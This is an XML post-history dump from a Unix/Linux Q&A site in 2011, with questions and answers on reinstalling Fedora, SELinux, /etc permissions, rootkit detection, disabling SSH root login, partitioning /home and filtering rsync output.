  <row Id="21016" PostHistoryTypeId="2" PostId="8873" RevisionGUID="d73e4554-4c73-4ead-a758-60fbe7199a6d" CreationDate="2011-03-08T22:59:00.247" UserId="3445" Text="Is it possible to reinstall Fedora (I have the DVD that I used to install it yesterday), and keep the files in my home directory?&#xD;&#xA;&#xD;&#xA;I seem to have messed up my system while trying to get my monitor resolution to work correctly: http://unix.stackexchange.com/questions/8788/installed-fedora-in-dual-boot-windows-desktop-now-i-cant-get-full-monitor-resol/8800#8800&#xD;&#xA;&#xD;&#xA;The step that caused my problem was `yum --enablerepo=rawhide upgrade kernel xorg-x11-drv-ati xorg-x11-drv-ati-firmware`, so I'm looking to either figure out how to get fedora to boot, or just reinstall fedora, but keep the files I've set up so far." />
  <row Id="21017" PostHistoryTypeId="1" PostId="8873" RevisionGUID="d73e4554-4c73-4ead-a758-60fbe7199a6d" CreationDate="2011-03-08T22:59:00.247" UserId="3445" Text="Reinstall Fedora, keep files?" />
  <row Id="21018" PostHistoryTypeId="3" PostId="8873" RevisionGUID="d73e4554-4c73-4ead-a758-60fbe7199a6d" CreationDate="2011-03-08T22:59:00.247" UserId="3445" Text="éfedoraà" />
  <row Id="21019" PostHistoryTypeId="2" PostId="8874" RevisionGUID="186865bf-9dc7-4eac-b313-b48b64e1a328" CreationDate="2011-03-08T20:16:40.437" UserDisplayName="CMaury" Text="Im having a very hard time configuring Selinux to allow Sending mail.&#xD;&#xA;&#xD;&#xA;Looking into selinux documentation I've found I can manage ports via the semanage command, but the command cant be found.&#xD;&#xA;&#xD;&#xA;Is there another way to manage ports using Selinux, or a way for me to find this command?&#xD;&#xA;Worst case: Is there a way to disable selinux, or switch to permissive mode without rebooting?&#xD;&#xA;&#xD;&#xA;Im running fedora.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="21020" PostHistoryTypeId="1" PostId="8874" RevisionGUID="186865bf-9dc7-4eac-b313-b48b64e1a328" CreationDate="2011-03-08T20:16:40.437" UserDisplayName="CMaury" Text="Selinux: Semanage command not found" />
  <row Id="21021" PostHistoryTypeId="3" PostId="8874" RevisionGUID="186865bf-9dc7-4eac-b313-b48b64e1a328" CreationDate="2011-03-08T20:16:40.437" UserDisplayName="CMaury" Text="ésecurityàéfirewallàéselinuxà" />
  <row Id="21022" PostHistoryTypeId="17" PostId="8874" RevisionGUID="976e9eb3-db55-4015-ad4a-4c7f3de929f6" CreationDate="2011-03-08T23:00:12.320" UserId="-1" Comment="from http://stackoverflow.com/questions/5237806/selinux-semanage-command-not-found" Text="" />
  <row Id="21023" PostHistoryTypeId="2" PostId="8875" RevisionGUID="223424e2-40cf-4c0d-830d-ed6d6fb1c437" CreationDate="2011-03-08T23:00:41.163" UserId="885" Text="Any file that contains a password or passphrase should be readable only by the user(s) (and group(s) if applicable) that need to access this password. The same goes for files containing any other kind of confidential information.&#xD;&#xA;&#xD;&#xA;Most files in `/etc` need to be world-readable: they are either general system configuration files such as `/etc/fstab` and `/etc/passwd`, or configuration files of a specific application. The few exceptions are files like `/etc/shadow` (user passwords), `/etc/sudoers` (users having special permissions), `/etc/ppp/chap-secrets` (PPP passwords), or `/etc/ssl/private` (directory containing private SSL certificates), and they normally come out-of-the-box with proper permissions. The technical term for making `/etc` non-world-readable is shooting yourself in the foot. Don't do it, it hurts.&#xD;&#xA;&#xD;&#xA;It's rare to have a mail password in the system configuration. Usually, mail uses passwords to authenticate users, not systems, so that password would be somewhere in your home directory. When you use unusual features, you do need to check that you are using them securely (in this case, I suspect you're not using the right tool for the job).&#xD;&#xA;" />
  <row Id="21024" PostHistoryTypeId="6" PostId="8870" RevisionGUID="37bf40c7-972b-45ba-b4bb-ec2d57cd68de" CreationDate="2011-03-08T23:01:00.117" UserId="885" Comment="edited tags" Text="ésecurityàépermissionsàédirectoryöstructureà" />
  <row Id="21025" PostHistoryTypeId="2" PostId="8876" RevisionGUID="955f5082-833c-4d95-8dd4-0edd30a53e50" CreationDate="2011-03-08T23:02:34.567" UserId="4778" Text="I just checked in `menu-&gt;terminal-&gt;set character encoding` it is utf-8&#xD;&#xA;&#xD;&#xA;I would start by doing `cat utf-8-file` if this displays the file ok then gnome-terminal is setup. So then just to set up bash etc.&#xD;&#xA;&#xD;&#xA;P.S. if you edit `~/.bashrc` you must re-read it `. ~/.bashrc` (or start a new shell) (dont forget the dot)" />
  <row Id="21026" PostHistoryTypeId="2" PostId="8877" RevisionGUID="0e064b1a-ef20-495b-847f-8de91bce4a86" CreationDate="2011-03-08T23:07:39.500" UserId="885" Text="That's a long list, surely you don't expect us to review it line by line? It's normal to have many processes running as root: unix systems often have one process to do each job, so many system services get their own process. In fact, some of these (e.g. all the `/0` or `/` (the number identifies a CPU), and most of the ones beginning with `k`) are kernel threads.&#xD;&#xA;&#xD;&#xA;If you're worried about someone gaining control of your machine, `ps` is not a useful tool. Any halfway decent¹ rootkit contains code to hide any malicious process from process listings. Even if the malicious code was not running as root and so couldn't change the kernel reports, it would disguise itself as something innocuous like `sh`.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; Yes, “decent” may not be the right word here. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="21027" PostHistoryTypeId="6" PostId="8873" RevisionGUID="caff21ed-b127-43a1-a445-513a1bc5e7bf" CreationDate="2011-03-08T23:07:57.800" UserId="885" Comment="edited tags" Text="éfedoraàéinstallà" />
  <row Id="21028" PostHistoryTypeId="2" PostId="8878" RevisionGUID="93d55a36-3035-4853-a4e4-b47b20f30f8a" CreationDate="2011-03-08T23:14:17.570" UserId="4778" Text="I had a similar problem on an ubuntu box could not run X11 over ssh.&#xD;&#xA;&#xD;&#xA;port forwarding can be disabled on client and server, so may need to check in /etc and ~ of server. There is something in the authorized keys file, and some thing in a config file, from what I remember." />
  <row Id="21029" PostHistoryTypeId="25" PostId="8870" RevisionGUID="bf515604-f6de-47a4-becb-c655d01a30d9" CreationDate="2011-03-08T23:23:39.430" Comment="http://twitter.com/#!/StackUnix/status/45263439156883456" />
  <row Id="21030" PostHistoryTypeId="2" PostId="8879" RevisionGUID="9e8c59df-ec4a-4952-9dea-548ec99dc898" CreationDate="2011-03-08T23:25:06.900" UserId="2511" Text="Yeah sorry about that. :)&#xD;&#xA;&#xD;&#xA;It *is* possible, but is only easy if you made /home be a separate partition. Despite my best efforts, this isn't the default.&#xD;&#xA;&#xD;&#xA;You don't have a lot of files yet, though, do you? I think the best bet is to boot into single user mode and copy the contents to a USB memory stick. That should be easy.&#xD;&#xA;&#xD;&#xA;You'll need to mount it manually -- plug it in, wait a few seconds, and then type `dmesg` and note the device that it says was inserted. Then, mount that with:&#xD;&#xA;&#xD;&#xA;    mount /dev/sdc /mnt&#xD;&#xA;&#xD;&#xA;replacing sdc with whatever dmesg said. (You may need sdc1, depending on how the device was formated).&#xD;&#xA;&#xD;&#xA;Then, change to the root directory (`cd /`) and run&#xD;&#xA;&#xD;&#xA;   tar cJvf /mnt/mattdm-is-sorry.tar.xz /home&#xD;&#xA;&#xD;&#xA;and when that completes, run&#xD;&#xA;&#xD;&#xA;   sync; sleep 3; umount /mnt&#xD;&#xA;&#xD;&#xA;(The sleep is for superstition.)&#xD;&#xA;&#xD;&#xA;The reason for tar rather than just copying is to preserve the Unix metadata, because the USB drive will be FAT formatted, and we don't want to mess with that right now.&#xD;&#xA;&#xD;&#xA;Then, once you have your system repaired (I still recommend the F15 alpha!), you can extract it with `tar xf /mnt/mattdm-is-sorry.tar.xz`. If you do that in `/` as root, it'll overwrite everything in your new `/home`, so probably the best thing to do is boot the new system into single user mode and do that first thing.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Oh, and this time, while you're installing, make `/home` its own partition. :)" />
  <row Id="21031" PostHistoryTypeId="6" PostId="8872" RevisionGUID="1688154e-48ea-40c5-9f23-cad23e5a8fe5" CreationDate="2011-03-08T23:37:48.670" UserId="2511" Comment="edited tags" Text="ésecurityàérootàéforensicsà" />
  <row Id="21032" PostHistoryTypeId="5" PostId="8870" RevisionGUID="70fa3527-c5f7-4e95-92b8-9136c1072935" CreationDate="2011-03-08T23:52:29.790" UserId="4069" Comment="added 159 characters in body" Text="I have a similar question about [default software configuration](http://unix.stackexchange.com/questions/8324/default-configuration-i-need-to-change). For this question i would like to ask&#xD;&#xA;&#xD;&#xA;What directories/file permissions should i ensure are set?&#xD;&#xA;&#xD;&#xA;Aprrently [Is it normal to get hundreds of break-in attempts per day](http://serverfault.com/questions/244614/is-it-normal-to-get-hundreds-of-break-in-attempts-per-day). So i checked [what files and folders are writable on a nonroot user](http://superuser.com/questions/255034). It was all good. Now i need to protect passwords and such so i checked read permissions.&#xD;&#xA;&#xD;&#xA;I am kind of horrified. By default my linux distro has /root to be read. Where i set my mysql root password. But then i looked on and saw /etc was readable. Any user could have got into /etc/ssmtp/ssmtp.conf and found the login/password i use for my mail (which cron uses to contact me) and potentially use it to spam everyone and or get my server or domain on blacklist. I set /etc to 750. Will there be any problems with that?&#xD;&#xA;&#xD;&#xA;I'm sure other vulnerabilities due to read access. What files/directories should i ensure are not read or writable?&#xD;&#xA;&#xD;&#xA;-edit- ok so i changed etc back to 755. But stil, i need to ensure certain folders are not readable. I changed apache and ssmtp. I would like to know others." />
  <row Id="21033" PostHistoryTypeId="2" PostId="8880" RevisionGUID="803c6103-0810-454a-b864-3c9504bc80ac" CreationDate="2011-03-08T23:58:08.670" UserId="5462" Text="The idea of assessing whether a process is malicious based on its name is an idea that has been outdated for at least ... well, very long ;)&#xD;&#xA;&#xD;&#xA;False flag operations, anyone?&#xD;&#xA;&#xD;&#xA; 1. an infector could well append/insert malicious code into any binary&#xD;&#xA; 2. a malicious binary could very well pose under the same name as something you'd normally consider harmless and your list gives *no idea* about the location of the binaries in the file system or their file bits. For example a setuid binary owned by root corresponding to one of these processes should at least be checked ...&#xD;&#xA; 3. a rootkit usually attempts to hide, so it would not even appear in the list&#xD;&#xA;&#xD;&#xA;And that list is not exhaustive. Also, a system that is running malicious code with super user rights has no (technical) problem to *lie* to you.&#xD;&#xA;&#xD;&#xA;At the very least an offline analysis would be required. If you use a package manager, you could compare the binaries at their expected locations against the hashes in the (signed) packages. Overall that should leave only a tiny subset of binaries actual binaries for you to inspect, besides the numerous scripts. But even for scripts, those coming in packages will have an accompanying hash against which you can check the binary." />
  <row Id="21034" PostHistoryTypeId="2" PostId="8881" RevisionGUID="95d0ac2a-84e0-4f4f-b14e-21eb69fc64fb" CreationDate="2011-03-09T00:12:02.413" UserId="5521" Text="I have just installed Debian Squeeze in a hard disk where also Windows 7 is installed.&#xD;&#xA;Now, if I run cfdisk, I get the following message:&#xD;&#xA;&#xD;&#xA;*&quot;FATAL ERROR: Bad primary partition 2: Partition ends in the final partial cylin&quot;.*&#xD;&#xA;&#xD;&#xA;Is there a way to fix it without reinstalling everything?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21035" PostHistoryTypeId="1" PostId="8881" RevisionGUID="95d0ac2a-84e0-4f4f-b14e-21eb69fc64fb" CreationDate="2011-03-09T00:12:02.413" UserId="5521" Text="partitions problem with Debian Squeeze and Windows 7" />
  <row Id="21036" PostHistoryTypeId="3" PostId="8881" RevisionGUID="95d0ac2a-84e0-4f4f-b14e-21eb69fc64fb" CreationDate="2011-03-09T00:12:02.413" UserId="5521" Text="édebianàépartitionàécfdiskà" />
  <row Id="21037" PostHistoryTypeId="2" PostId="8882" RevisionGUID="c6123807-d7e0-40f5-a6eb-6c44750eb2eb" CreationDate="2011-03-09T00:15:22.897" UserId="732" Text="The sole rootkit I've ever encountered in the wild (under Solaris 8 a long time ago) did run a password sniffer, as an &quot;lpsched&quot; process.  The problem was that it ran two of them (bug in the rootkit) and ran them out of a directory that &quot;man lpsched&quot; said wasn't where lpsched lived.  Also, &quot;ps&quot; had been trojaned to not show the extra weird lpsched processes, but top showed them.&#xD;&#xA;&#xD;&#xA;If you're really concerned, look at all the PIDs in /proc.  Look at what /proc/$PID/exe links to, to see where the executable really lives. Double check that against where the executable *ought* to live.  Try &quot;ls&quot; on all the directories you find that way to see if &quot;ls&quot; shows them all.  &quot;ls&quot; not showing a directory is a dead giveaway that something's wrong.&#xD;&#xA;&#xD;&#xA;If any specific process seems suspicious, get chkrootkit (http://www.chkrootkit.org/) and rootkit hunter (http://www.chkrootkit.org/) and try them to see if they find anything.  You have to be aware that some rootkits float around in the wild, but have never gotten incorporated in those rootkit hunters." />
  <row Id="21038" PostHistoryTypeId="2" PostId="8883" RevisionGUID="2bf48f91-82bb-49df-b4e4-3f011e6b347d" CreationDate="2011-03-09T00:16:15.437" UserId="2511" Text="`semanage` is installed at `/usr/sbin/semanage` on my system — maybe that's just not in your path. It's part of the `policycoreutils` package, which is part of the default install but may be missing (`yum -y install policycoreutils` if it is).&#xD;&#xA;&#xD;&#xA;The &quot;big switch&quot; approach is `setenforce Permissive` as root. (And `setenforce Enforcing` to put it back.)&#xD;&#xA;&#xD;&#xA;What exactly are you trying to do? One approach is to find the audit log messages from your blocked action, and [use audit2allow to generate a policy module][1]. But, there may be a setting in the default Fedora policy which will enable what you want. Run `getsebool -a` to see a list, and use `setsebool` to change it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/SELinux/audit2allow" />
  <row Id="21039" PostHistoryTypeId="5" PostId="8874" RevisionGUID="395faef6-be19-4712-b318-9f288ea5eb72" CreationDate="2011-03-09T00:18:19.507" UserId="2511" Comment="added 5 characters in body; edited tags; edited title" Text="I'm having a very hard time configuring SELinux to allow Sending mail.&#xD;&#xA;&#xD;&#xA;Looking into selinux documentation I've found I can manage ports via the semanage command, but the command can't be found.&#xD;&#xA;&#xD;&#xA;Is there another way to manage ports using SELinux, or a way for me to find this command?&#xD;&#xA;&#xD;&#xA;Worst case: Is there a way to disable selinux, or switch to permissive mode without rebooting?&#xD;&#xA;&#xD;&#xA;I'm running Fedora.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="21040" PostHistoryTypeId="4" PostId="8874" RevisionGUID="395faef6-be19-4712-b318-9f288ea5eb72" CreationDate="2011-03-09T00:18:19.507" UserId="2511" Comment="added 5 characters in body; edited tags; edited title" Text="How can I configure SELinux when the semanage command isn't found?" />
  <row Id="21041" PostHistoryTypeId="6" PostId="8874" RevisionGUID="395faef6-be19-4712-b318-9f288ea5eb72" CreationDate="2011-03-09T00:18:19.507" UserId="2511" Comment="added 5 characters in body; edited tags; edited title" Text="éfedoraàésecurityàéselinuxà" />
  <row Id="21042" PostHistoryTypeId="2" PostId="8884" RevisionGUID="2c66c879-0e01-4de0-aa08-23ecd7bf2ff4" CreationDate="2011-03-09T00:23:03.293" UserId="4069" Text="How do i disable remote root login via ssh?&#xD;&#xA;&#xD;&#xA;I want to loginto my server (i use keys on my main comp) then su into root instead of access root directly.&#xD;&#xA;&#xD;&#xA;I am using debian. I follow guides online which say add `PermitRootLogin no` to the file and anther mention `Protocol 2`. Then reset ssh. ` /etc/init.d/ssh restart`. I did this and it did not work. I was able to log into root using putty&#xD;&#xA;&#xD;&#xA;How do i disbale remote root login on debian?" />
  <row Id="21043" PostHistoryTypeId="1" PostId="8884" RevisionGUID="2c66c879-0e01-4de0-aa08-23ecd7bf2ff4" CreationDate="2011-03-09T00:23:03.293" UserId="4069" Text="How do i disable remote root login via ssh?" />
  <row Id="21044" PostHistoryTypeId="3" PostId="8884" RevisionGUID="2c66c879-0e01-4de0-aa08-23ecd7bf2ff4" CreationDate="2011-03-09T00:23:03.293" UserId="4069" Text="ésshàésecurityà" />
  <row Id="21045" PostHistoryTypeId="2" PostId="8885" RevisionGUID="5d7ab619-cb08-4523-8232-057e8ba66a2e" CreationDate="2011-03-09T00:30:57.733" UserId="2511" Text="I'm going to take a guess on this one, but I'm pretty confident.&#xD;&#xA;&#xD;&#xA;I bet there's a `PermitRootLogin yes` line already in your file. SSH will only use the first line it finds, and will ignore a duplicate further down. So if you just added `PermitRootLogin no` to the end of the file without the line above, there will be no effect.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21046" PostHistoryTypeId="5" PostId="8884" RevisionGUID="38001598-5c54-4779-a232-08dc2bafa261" CreationDate="2011-03-09T00:31:44.410" UserId="2511" Comment="added 1 characters in body; edited tags; edited title" Text="How do i disable remote root login via ssh?&#xD;&#xA;&#xD;&#xA;I want to log into my server (i use keys on my main comp) then su into root instead of access root directly.&#xD;&#xA;&#xD;&#xA;I am using debian. I follow guides online which say add `PermitRootLogin no` to the file and anther mention `Protocol 2`. Then reset ssh. ` /etc/init.d/ssh restart`. I did this and it did not work. I was able to log into root using putty&#xD;&#xA;&#xD;&#xA;How do i disbale remote root login on debian?" />
  <row Id="21047" PostHistoryTypeId="4" PostId="8884" RevisionGUID="38001598-5c54-4779-a232-08dc2bafa261" CreationDate="2011-03-09T00:31:44.410" UserId="2511" Comment="added 1 characters in body; edited tags; edited title" Text="How do I disable remote root login via ssh?" />
  <row Id="21048" PostHistoryTypeId="6" PostId="8884" RevisionGUID="38001598-5c54-4779-a232-08dc2bafa261" CreationDate="2011-03-09T00:31:44.410" UserId="2511" Comment="added 1 characters in body; edited tags; edited title" Text="ésshàésecurityàérootà" />
  <row Id="21049" PostHistoryTypeId="2" PostId="8886" RevisionGUID="1523b399-a207-434c-821e-2d8348079c19" CreationDate="2011-03-09T01:05:57.923" UserId="5325" Text="One of the peculiarities of `ssh` is that PAM-based authentication can't be fully controlled by it directly.  You should check the PAM stack `/etc/pam.d/sshd`; I would add `pam_access` to the `auth` section (see **pam_access(8)** and **access.conf(5)** manual pages).&#xD;&#xA;&#xD;&#xA;That said, `PermitRootLogin No` *should* work regardless.  (`PermitRootLogin without-password` is the screw case.)" />
  <row Id="21050" PostHistoryTypeId="2" PostId="8887" RevisionGUID="b958df44-75c0-488e-a8dd-4c35adabbaac" CreationDate="2011-03-09T01:30:55.763" UserId="3445" Text="I was reading http://docs.fedoraproject.org/en-US/Fedora/14/html/Installation_Guide/s1-diskpartitioning-x86.html, but it's not clear to me what this means. What's an LVM Volume Group versus a Hard Drive? I want to make sure that my home directory is on it's own partition so that I can more easily reinstall and upgrade the os." />
  <row Id="21051" PostHistoryTypeId="1" PostId="8887" RevisionGUID="b958df44-75c0-488e-a8dd-4c35adabbaac" CreationDate="2011-03-09T01:30:55.763" UserId="3445" Text="How do I ensure that I am creating a separate partition for my /home directory?" />
  <row Id="21052" PostHistoryTypeId="3" PostId="8887" RevisionGUID="b958df44-75c0-488e-a8dd-4c35adabbaac" CreationDate="2011-03-09T01:30:55.763" UserId="3445" Text="éfedoraàépartitionà" />
  <row Id="21053" PostHistoryTypeId="4" PostId="8887" RevisionGUID="eb3eb86d-203c-4a22-90da-a3f0fa5f215f" CreationDate="2011-03-09T01:36:47.600" UserId="3445" Comment="edited title" Text="How do I create a separate partition for my /home directory?" />
  <row Id="21054" PostHistoryTypeId="5" PostId="8887" RevisionGUID="43e6076a-65ee-4ebc-9fbc-f2c828dd7ac9" CreationDate="2011-03-09T02:08:08.507" UserId="3445" Comment="added 159 characters in body" Text="I was reading http://docs.fedoraproject.org/en-US/Fedora/14/html/Installation_Guide/s1-diskpartitioning-x86.html, but it's not clear to me what this means. What's an LVM Volume Group versus a Hard Drive? I want to make sure that my home directory is on it's own partition so that I can more easily reinstall and upgrade the os.&#xD;&#xA;&#xD;&#xA;EDIT: If /home is on its own logical volume, will I be able to easily reinstall the os, or is a logical volume a different type of entity from a partition?" />
  <row Id="21055" PostHistoryTypeId="2" PostId="8888" RevisionGUID="1bf08b8b-9843-40db-a17c-e2de3f2f713a" CreationDate="2011-03-09T02:16:11.280" UserId="4069" Text="After i found out hundreds of hacking attempts are made in a day i decided i want to disable logging in to root remotely via a password. But then i found i cant switch users in winscp so i cant easily upload/download/edit files.&#xD;&#xA;&#xD;&#xA;After i figured out how to disable remote logins it appeared i cant login remotely via key. So i allowed it and disabled password. But it turns out it disables passwords on all users.&#xD;&#xA;&#xD;&#xA;How do you recommend protecting myself when logging in to my server? someone mention he uses one time login tokens but i am unsure how to use that.&#xD;&#xA;&#xD;&#xA;But anyways, how do i disable password login for root but allow it for everyone else? i must be able to su into root from the other accounts bc primary i log into  acidzombie24 then su to root and carry on normally.&#xD;&#xA;" />
  <row Id="21056" PostHistoryTypeId="1" PostId="8888" RevisionGUID="1bf08b8b-9843-40db-a17c-e2de3f2f713a" CreationDate="2011-03-09T02:16:11.280" UserId="4069" Text="Recommended way to login to root?" />
  <row Id="21057" PostHistoryTypeId="3" PostId="8888" RevisionGUID="1bf08b8b-9843-40db-a17c-e2de3f2f713a" CreationDate="2011-03-09T02:16:11.280" UserId="4069" Text="ésshàésecurityàérootà" />
  <row Id="21058" PostHistoryTypeId="5" PostId="8766" RevisionGUID="d611f50a-7726-400b-a847-6f23fafcb2bf" CreationDate="2011-03-09T02:18:15.083" UserId="2559" Comment="added 1 characters in body" Text="I'm using rsync and the flags `-nPaAXz ~/` to check which files are going to be copied.&#xD;&#xA;&#xD;&#xA;This is far too verbose to make any sense of.&#xD;&#xA;&#xD;&#xA;How could I filter the output so I view the list of files/folders that are going to be copied to a certain depth, eg:&#xD;&#xA;&#xD;&#xA;***1 folder deep***&#xD;&#xA;&#xD;&#xA;    /home/afile&#xD;&#xA;    /home/afolder/&#xD;&#xA;    /home/anotherfolder/&#xD;&#xA;&#xD;&#xA;***2 folders deep***&#xD;&#xA;&#xD;&#xA;    /home/afile&#xD;&#xA;    /home/afolder/afile&#xD;&#xA;    /home/afolder/anotherfile&#xD;&#xA;    /home/afolder/afolder/&#xD;&#xA;    /home/anotherfolder/afile" />
  <row Id="21059" PostHistoryTypeId="25" PostId="8884" RevisionGUID="6f0f7ec3-85e9-4dea-ba7e-ba15b175487e" CreationDate="2011-03-09T02:23:39.050" Comment="http://twitter.com/#!/StackUnix/status/45308736524398592" />
  <row Id="21060" PostHistoryTypeId="2" PostId="8889" RevisionGUID="b63ab05f-02e8-473c-a480-b4d90e4710f7" CreationDate="2011-03-09T02:30:52.457" UserId="138" Text="An LVM volume group is an abstraction of a hard drive, or multiple hard drives, or multiple RAIDs, or... It's really a separate question, so I don't think it's pertinent to get more detailed than that here.&#xD;&#xA;&#xD;&#xA;The point is, both LVM groups and hard drives can contain partitions. Which way you go is a matter orthogonal to your main question.&#xD;&#xA;&#xD;&#xA;The easiest way to make `/home` a separate partition is to do it during OS installation, with a complete hard drive repartition and format pass. You can change your mind and make `/home` separate later, but it's more work.&#xD;&#xA;&#xD;&#xA;The way you create a separate `/home` partition differs depending on the particular OS installer, but these days, you typically have to tell it you want to do an &quot;advanced&quot; hard drive setup, overriding its simple defaults. You can then choose to reserve some amount of hard drive space for `/home` and leave the rest of the disk (or LVM group, or RAID, or...) to the rest of the system.&#xD;&#xA;&#xD;&#xA;To make `/home` a separate partition after you've installed the OS, you either have to repartition or add another volume. Just as a simple example, you could insert a USB stick and put `/home` on it like this:&#xD;&#xA;&#xD;&#xA;    (assume the USB stick is /dev/sdc, mounted on /media/usb)&#xD;&#xA;    # umount /media/usb&#xD;&#xA;    # mke2fs -j -L /home /dev/sdc1&#xD;&#xA;    # mount /dev/sdc1 /media/usb&#xD;&#xA;    # cd /home&#xD;&#xA;    # find . -print | cpio -mpud /media/usb&#xD;&#xA;    # umount /media/usb&#xD;&#xA;    # mount /dev/sdc1 /home&#xD;&#xA;&#xD;&#xA;What we've done so far is reformat the USB stick with a fresh ext3 filesystem, then copied the entire contents of `/home` over to it while preserving all permissions, timestamps, etc. Then we've laid the new `/home` copy over the top of the old for testing. Once you're satisfied that it works, you could unmount `/dev/sdc1`, nuke the old `/home` and remount the new one.&#xD;&#xA;&#xD;&#xA;Beware, **this is dangerous**. I am presenting it as an example, not a recommendation.&#xD;&#xA;&#xD;&#xA;Also dangerous is repartitioning the drive after it's already been formatted. You'd have to do that if you wanted to move `/home` to a new partition without adding another volume to the machine. The `gparted` tool can do this, but it's not without risks. Having opened up space for a new partition and created it with `gparted`, you could do something much like I show above to move the contents of the old `/home` directory to the new partition.&#xD;&#xA;&#xD;&#xA;You should also beware that making `/home` separate has its own problems. One is, it forces you to set aside a slice of your disk for `/home` and then live with it. It's easy to get too clever with partitioning; you could end up with like 10 partitions, 8 of which are full and 2 which have less than 10% usage, and no easy way of reassigning space from the empty ones to the full ones. LVM and `gparted` each provide some solutions to this, but the important point to keep in mind is, be very sure you need the extra partitions. The more moving parts, the more things there are to break." />
  <row Id="21061" PostHistoryTypeId="2" PostId="8890" RevisionGUID="76de9256-7458-4c41-91c1-b7e57a4bd77e" CreationDate="2011-03-09T02:31:09.627" UserId="2559" Text="This grep command seems to do what I wanted perfectly. It prints just the top `n` folders deep of each path.&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | grep -oE &quot;^([^/]+/){0,2}$&quot;`" />
  <row Id="21062" PostHistoryTypeId="2" PostId="8891" RevisionGUID="634dd7da-84dd-4048-a899-5d5c5513f4d3" CreationDate="2011-03-09T02:47:12.607" UserId="5454" Text="to disable the root password, you need to lock the root account:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo passwd -l root&#xD;&#xA;    sudo chage -E-1 root&#xD;&#xA;&#xD;&#xA;explanation:&#xD;&#xA;&#xD;&#xA;the first line locks the root a/c, but also expires the password, meaning stuff might break (like the root crontab, for example!!).  The second line sets the root password to &quot;never expire&quot;, so that this doesn't happen, and so that you can still use `sudo su` for example.&#xD;&#xA;&#xD;&#xA;Combine this with `PermitRootLogin No` in `/etc/ssh/sshd_config`, and you should be good to go." />
  <row Id="21063" PostHistoryTypeId="2" PostId="8892" RevisionGUID="8f014e61-ba26-451e-bcb3-f44ce3fa9a33" CreationDate="2011-03-09T02:51:39.377" UserId="2559" Text="I'm trying to use a grep command with the --only-matching flag, but it's not behaving as I would expect it to.&#xD;&#xA;&#xD;&#xA;This command:&#xD;&#xA;&#xD;&#xA;`echo &quot;1/2/3/4/5&quot; | grep -oE &quot;^([^/]+/){0,2}&quot;`&#xD;&#xA;&#xD;&#xA;Gives this output:&#xD;&#xA;&#xD;&#xA;    1/2/&#xD;&#xA;    3/4/&#xD;&#xA;&#xD;&#xA;I was expecting just `1/2/`&#xD;&#xA;&#xD;&#xA;What's going on..? `3/4/` shouldn't match `&quot;^([^/]+/){0,2}&quot;` because it's not at the beginning of the line.." />
  <row Id="21064" PostHistoryTypeId="1" PostId="8892" RevisionGUID="8f014e61-ba26-451e-bcb3-f44ce3fa9a33" CreationDate="2011-03-09T02:51:39.377" UserId="2559" Text="Trouble with grep -o regex" />
  <row Id="21065" PostHistoryTypeId="3" PostId="8892" RevisionGUID="8f014e61-ba26-451e-bcb3-f44ce3fa9a33" CreationDate="2011-03-09T02:51:39.377" UserId="2559" Text="égrepàéregexà" />
  <row Id="21066" PostHistoryTypeId="2" PostId="8893" RevisionGUID="6b5ae4e7-955a-40f7-a2c1-3eb11f4d458a" CreationDate="2011-03-09T02:58:55.080" UserId="5092" Text="I am not sure at the time of writing this about making `su` work, but see [this][1] article from [IBM Developerworks][2] for good information on securing SSH.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/aix/library/au-sshlocks/index.html&#xD;&#xA;  [2]: http://www.ibm.com/developerworks" />
  <row Id="21067" PostHistoryTypeId="5" PostId="8890" RevisionGUID="8d6ab3a4-60d3-4049-b4f3-711a00edeb1f" CreationDate="2011-03-09T03:06:01.063" UserId="2559" Comment="added 18 characters in body; added 7 characters in body; added 37 characters in body" Text="This command takes each path and truncates it to the top `n` folders. It's then piped into `uniq` to.. you guessed it, filter out the duplicates.&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | sed -n 's@^\(\([^/][^/]*/\)\{0,2\}\).*@\1@p' | uniq`" />
  <row Id="21068" PostHistoryTypeId="6" PostId="8766" RevisionGUID="f58ff333-b3ef-4763-86c4-8688565f28d6" CreationDate="2011-03-09T03:10:43.650" UserId="2559" Comment="edited tags; edited tags" Text="égrepàésedàérsyncàéregexà" />
  <row Id="21069" PostHistoryTypeId="5" PostId="8890" RevisionGUID="3ac5765d-f44e-4bd3-80c8-c85447aca43f" CreationDate="2011-03-09T03:13:43.990" UserId="2559" Comment="added 167 characters in body" Text="This command takes each path and truncates it to the top `n` folders. It's then piped into `uniq` to.. you guessed it, filter out the duplicates.&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | sed -n 's@^\(\([^/][^/]*/\)\{0,2\}\).*@\1@p' | uniq`&#xD;&#xA;&#xD;&#xA;Another way is like this:&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | grep -oE &quot;^([^/]+/){0,2}&quot;`&#xD;&#xA;&#xD;&#xA;But it doesn't seem to work with all versions of grep for some reason.." />
